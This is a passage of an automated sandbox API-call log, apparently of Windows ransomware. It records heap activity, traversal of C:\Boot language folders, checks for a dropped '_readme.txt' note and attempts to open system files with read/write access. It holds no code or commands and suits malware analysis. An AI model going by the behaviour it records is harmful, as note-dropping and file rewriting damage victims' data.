hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.636] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.636] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.636] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.636] PathFindFileNameW (pszPath="") returned="" [0059.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.636] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.637] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.637] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.637] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8230 [0059.637] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.637] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.637] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.637] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.637] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.638] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0059.638] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.638] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.638] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned=".txt" [0059.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.638] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.638] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.638] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.638] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.638] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.638] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.638] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.638] PathFindFileNameW (pszPath="") returned="" [0059.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.638] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.639] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.639] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.639] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.639] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0059.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.639] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0059.639] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.639] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.640] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.640] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0059.640] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.640] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.640] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned=".txt" [0059.640] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.640] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.640] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.640] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.641] 